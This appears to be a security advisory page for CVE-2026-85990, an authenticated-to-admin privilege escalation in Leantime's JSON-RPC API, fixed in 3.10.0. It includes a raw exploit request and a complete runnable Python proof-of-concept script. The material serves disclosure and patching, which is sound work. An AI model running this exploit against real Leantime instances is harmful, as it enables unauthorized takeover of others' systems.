Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-85990 — leantime

HIGHFix: Leantime/leantime@5605e5e

CVE-2026-85990 is a high-severity (CVSS 8.8) Improper Privilege Management vulnerability in leantime/leantime. A fix is available for leantime/leantime — see the affected versions and patch details below.

Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods

Also known asGHSA-54mm-6729-r5wp
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-85990 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐘leantime/leantime

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Any authenticated Leantime user - including the lowest-privilege readonly role - can escalate to full administrative access by calling the JSON-RPC method leantime.rpc.api.api.createApiKeyWithProjects with an attacker-chosen role value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the Plugins service's installPlugin, enablePlugin, disablePlugin, and removePlugin methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.

Details

Leantime's JSON-RPC API (app/Domain/Api/Controllers/Jsonrpc.php) reflects any public method on any @api-annotated service class and dispatches it at leantime.rpc.{domain}.{service}.{method}. Per-method authorization is enforced by PermissionEnforcer::enforce() (app/Core/Auth/Permissions/PermissionEnforcer.php), which reads a #[RequiresPermission(...)] PHP attribute off the target method - but when that attribute is absent, enforce() silently returns and allows the call through.

Api::createApiKeyWithProjects(array $values, ?array $projects) (app/Domain/Api/Services/Api.php) is @api-exposed and carries no #[RequiresPermission] attribute. It forwards $values - including a caller-supplied role - directly into createAPIKey() → Users\Repositories\Users::addUser(), with no server-side clamping of role against the calling user's own privilege level:

// app/Domain/Api/Services/Api.php
/**
 * @api
 */
public function createApiKeyWithProjects(array $values, ?array $projects): array|false
{
    $apiKeyValues = $this->createAPIKey($values);   // no #[RequiresPermission], no role check
    ...
}

The equivalent web route (NewApiKey controller) correctly gates account creation behind an admin-only role check (Auth::authOrRedirect([Roles::$admin, ...])), but that gate is bypassed entirely by calling the service directly through JSON-RPC.

Separately, Plugins::installPlugin(), enablePlugin(), disablePlugin(), and removePlugin() (app/Domain/Plugins/Services/Plugins.php, lines ~266/299/320/342) share the same gap: all four are @api-exposed with no #[RequiresPermission], while their web-controller equivalents (Myapps.php, Details.php) correctly require Roles::$owner/Roles::$admin.

Authenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an X-Requested-With: XMLHttpRequest header (app/Core/Middleware/StartSession.php) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.

PoC

A runnable Python PoC (requests library only) reproduces this end-to-end; see the attached poc.py. Steps:

  1. Create/authenticate as a readonly-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. /plugins/myapps.
  2. From that same low-privilege session, send:
    POST /api/jsonrpc
    Content-Type: application/json
    X-Requested-With: XMLHttpRequest
    
    {"jsonrpc":"2.0","id":1,"method":"leantime.rpc.api.api.createApiKeyWithProjects",
     "params":{"values":{"firstname":"poc","role":40,"status":"a"},"projects":[]}}
    
    The server responds HTTP 200 with the newly created account's user/passwordClean and "role":40 (admin) in the JSON body.
  3. Log in through the normal /auth/login form using the returned user/passwordClean. The resulting session now has full, interactive access to /plugins/myapps (HTTP 200) - the exact page that returned 403 in step 1.

Reproduced against a local instance built from this repository's own .dev Docker tooling (.dev/docker-compose.yaml), with dependencies installed via composer install / npx mix and no modifications to application code.

Impact

Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege readonly role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.

Script : poc.py

#!/usr/bin/env python3
"""
What this script does, against a target Leantime instance:
  1. Logs in as a LOW-PRIVILEGE account (readonly role by default).
  2. Confirms the account is correctly blocked by the normal web UI from an
     admin-only page (expects HTTP 403) -- this establishes the account truly
     has no admin rights before the exploit runs.
  3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using
     nothing but that account's own ordinary session cookie, requesting
     role=40 (admin). No admin/API-key credential is used anywhere in this
     step -- only the low-privilege session established in step 1.
  4. Logs in through the completely ordinary web login form using the
     generated username/password from step 3, and confirms that account now
     has full, interactive admin access to the same admin-only page that
     blocked the original low-privilege account in step 2. (The record is
     created with source='' rather than source='api' -- createAPIKey() never
     sets that column -- so it does NOT work as an x-api-key credential, but
     it is a fully functional role=40 web login, which is a stronger and
     more direct proof of impact.)

Requirements: pip install requests

Usage:
  python3 poc.py --url http://localhost:5080 \\
      --username [email protected] --password 'LowPriv123!'
"""

import argparse
import sys

import requests


def rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):
    """Call a JSON-RPC method. Sends X-Requested-With so the session-based
    guard actually loads the caller's real, persisted session (see
    StartSession.php:65) -- without it, API requests get a fresh, empty,
    in-memory session and every call 401s regardless of login state."""
    headers = {
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest",
    }
    if extra_headers:
        headers.update(extra_headers)

    resp = session.post(
        f"{base_url}/api/jsonrpc",
        json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
        headers=headers,
    )
    return resp


def main():
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("--url", required=True, help="Base URL of the target Leantime instance, e.g. http://localhost:5080")
    parser.add_argument("--username", required=True, help="Email of a LOW-privilege test account (e.g. readonly role)")
    parser.add_argument("--password", required=True, help="Password for that account")
    parser.add_argument("--admin-check-path", default="/plugins/myapps", help="An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS verification (for self-signed local/dev instances)")
    args = parser.parse_args()

    verify = not args.insecure
    base_url = args.url.rstrip("/")
    s = requests.Session()
    s.verify = verify

    print(f"[*] Target: {base_url}")

    # Step 1: log in as the low-privilege account via the ordinary web form.
    print(f"[*] Logging in as low-privilege account: {args.username}")
    s.get(f"{base_url}/auth/login")  # prime session cookie
    login_resp = s.post(
        f"{base_url}/auth/login",
        data={
            "username": args.username,
            "password": args.password,
            "redirectUrl": "/dashboard/home",  # avoid the unrelated empty-redirectUrl 500 bug
        },
        allow_redirects=False,
    )
    if login_resp.status_code not in (302, 303):
        print(f"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.")
        sys.exit(1)
    print("[+] Login succeeded (session cookie established).")

    # Step 2: confirm the account genuinely has no admin rights via the web UI.
    check_resp = s.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
    if check_resp.status_code == 403:
        print(f"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).")
    else:
        print(f"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. "
              f"Continuing anyway, but this account may not be low-privilege as assumed.")

    # Step 3: the actual privilege escalation -- same session, no API key used.
    print("[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) "
          "using ONLY the low-privilege session from step 1 ...")
    esc_resp = rpc_call(
        s,
        base_url,
        "leantime.rpc.api.api.createApiKeyWithProjects",
        {"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []},
    )

    try:
        esc_json = esc_resp.json()
    except ValueError:
        print(f"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}")
        sys.exit(1)

    if "error" in esc_json:
        print(f"[!] Exploit call failed: {esc_json['error']}")
        print("    (If this is 'Method is not available via API' or an AuthorizationException, "
              "the target may already be patched.)")
        sys.exit(1)

    result = esc_json["result"]
    new_user = result["user"]
    new_pass = result["passwordClean"]
    new_role = result["role"]
    new_id = result["id"]
    api_key = f"lt_{new_user}_{new_pass}"

    print("[+] VULNERABLE: server created a new account with attacker-chosen role, "
          "with no permission check on the calling (low-privilege) account.")
    print(f"    New account id={new_id}  role={new_role} (40 == admin)")
    print(f"    Generated credentials -- username: {new_user}  password: {new_pass}")
    print(f"    (Nominal API key form: {api_key} -- see note below.)")

    # Step 4: prove the new account carries real, interactive admin privilege
    # by logging in through the ORDINARY web login form and hitting the same
    # admin-only page that blocked the original low-privilege account.
    print("[*] Logging in through the normal web UI with the generated credentials ...")
    admin_session = requests.Session()
    admin_session.verify = verify
    admin_session.get(f"{base_url}/auth/login")
    admin_login_resp = admin_session.post(
        f"{base_url}/auth/login",
        data={"username": new_user, "password": new_pass, "redirectUrl": "/dashboard/home"},
        allow_redirects=False,
    )
    if admin_login_resp.status_code not in (302, 303):
        print(f"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).")
        sys.exit(1)

    admin_check_resp = admin_session.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
    if admin_check_resp.status_code == 200:
        print(f"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, "
              f"interactive admin access to {args.admin_check_path} (HTTP 200) -- "
              f"the exact page that returned 403 for the original account in step 2.")
    else:
        print(f"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, "
              f"got {admin_check_resp.status_code}.")

if __name__ == "__main__":
    main()

Maintainer note (resolution): Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistleantime/leantimeall versions3.10.0composer require leantime/leantime:^3.10.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for leantime/leantime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update leantime/leantime to 3.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-85990 is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

### Summary Any authenticated Leantime user - including the lowest-privilege `readonly` role - can escalate to full administrative access by calling the JSON-RPC method `leantime.rpc.api.api.createApiKeyWithProjects` with an attacker-chosen `role` value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the `Plugins` service's `installPlugin`, `enablePlugin`, `disablePl
O3 Security · Impact-Aware SCA

Is CVE-2026-85990 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-85990: leantime PrivEsc — Fixed in 3.10.0